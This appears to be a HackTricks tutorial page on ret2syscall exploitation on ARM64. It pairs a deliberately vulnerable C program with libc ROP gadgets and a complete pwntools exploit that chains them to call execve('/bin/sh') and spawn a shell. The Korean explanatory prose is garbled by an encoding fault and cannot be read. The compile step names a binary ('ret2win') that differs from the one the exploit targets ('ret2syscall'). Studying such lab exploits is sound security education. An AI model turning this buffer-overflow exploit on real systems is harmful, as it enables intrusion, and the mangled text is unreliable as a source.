Ret2syscall - ARM64
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
arm64์ ๋ํ ์๊ฐ๋ฅผ ์ฐพ์ผ์ธ์:
Code
์ฐ๋ฆฌ๋ ๋ค์ ํ์ด์ง์ ์์ ๋ฅผ ์ฌ์ฉํ ๊ฒ์ ๋๋ค:
#include <stdio.h>
#include <unistd.h>
void win() {
printf("Congratulations!\n");
}
void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}
int main() {
vulnerable_function();
return 0;
}
PIE์ ์นด๋๋ฆฌ ์์ด ์ปดํ์ผ:
clang -o ret2win ret2win.c -fno-stack-protector
Gadgets
syscall ํธ์ถ์ ์ค๋นํ๊ธฐ ์ํด ๋ค์๊ณผ ๊ฐ์ ๊ตฌ์ฑ์ด ํ์ํฉ๋๋ค:
x8: 221 sys_execve ์ง์ x0: "/bin/sh"์ ๋ํ ํฌ์ธํฐ, ์คํํ ํ์ผ ์ง์ x1: 0, ์ ๋ฌ๋ ์ธ์ ์์ ์ง์ x2: 0, ์ ๋ฌ๋ ํ๊ฒฝ ๋ณ์ ์์ ์ง์
ROPgadget.py๋ฅผ ์ฌ์ฉํ์ฌ ๋จธ์ ์ libc ๋ผ์ด๋ธ๋ฌ๋ฆฌ์์ ๋ค์๊ณผ ๊ฐ์ ๊ฐ์ ฏ์ ์ฐพ์ ์ ์์์ต๋๋ค:
;Load x0, x1 and x3 from stack and x5 and call x5
0x0000000000114c30:
ldp x3, x0, [sp, #8] ;
ldp x1, x4, [sp, #0x18] ;
ldr x5, [sp, #0x58] ;
ldr x2, [sp, #0xe0] ;
blr x5
;Move execve syscall (0xdd) to x8 and call it
0x00000000000bb97c :
nop ;
nop ;
mov x8, #0xdd ;
svc #0
์ด์ ์ ๊ฐ์ ฏ์ ์ฌ์ฉํ์ฌ ์คํ์์ ํ์ํ ๋ชจ๋ ๋ ์ง์คํฐ๋ฅผ ์ ์ดํ๊ณ x5๋ฅผ ์ฌ์ฉํ์ฌ ๋ ๋ฒ์งธ ๊ฐ์ ฏ์ผ๋ก ์ ํํ์ฌ syscall์ ํธ์ถํ ์ ์์ต๋๋ค.
Tip
libc ๋ผ์ด๋ธ๋ฌ๋ฆฌ์ ์ด ์ ๋ณด๋ฅผ ์๋ ๊ฒ์ ret2libc ๊ณต๊ฒฉ์ ์ํํ ์ ์๊ฒ ํด์ฃผ์ง๋ง, ํ์ฌ ์์ ์์๋ ์ด๋ฅผ ์ฌ์ฉํฉ์๋ค.
Exploit
from pwn import *
p = process('./ret2syscall')
elf = context.binary = ELF('./ret2syscall')
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000 # ASLR disabled
binsh = next(libc.search(b"/bin/sh"))
stack_offset = 72
#0x0000000000114c2c : bl #0x133070 ; ldp x3, x0, [sp, #8] ; ldp x1, x4, [sp, #0x18] ; ldr x5, [sp, #0x58] ; ldr x2, [sp, #0xe0] ; blr x5
load_x0_x1_x2 = libc.address + 0x114c30 # ldp x3, x0, [sp, #8] ; ldp x1, x4, [sp, #0x18] ; ldr x5, [sp, #0x58] ; ldr x2, [sp, #0xe0] ; blr x5
# 0x00000000000bb97c : nop ; nop ; mov x8, #0xdd ; svc #0
call_execve = libc.address + 0xbb97c
print("/bin/sh in: " + hex(binsh))
print("load_x0_x1_x2 in: " + hex(load_x0_x1_x2))
print("call_execve in: " + hex(call_execve))
# stack offset
bof = b"A" * (stack_offset)
bof += p64(load_x0_x1_x2)
# ldp x3, x0, [sp, #8]
rop = b"BBBBBBBBBBBBBBBB" #x3
rop += p64(binsh) #x0
# ldp x1, x4, [sp, #0x18]
rop += b"C"*(0x18 - len(rop))
rop += p64(0x00) # x1
rop += b"CCCCCCCC" #x4
# ldr x5, [sp, #0x58]
rop += b"D"*(0x58 - len(rop))
rop += p64(call_execve) # x5
# ldr x2, [sp, #0xe0]
rop += b"E" * (0xe0 - len(rop))
rop += p64(0x00) # x2
payload = bof + rop
p.sendline(payload)
p.interactive()
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


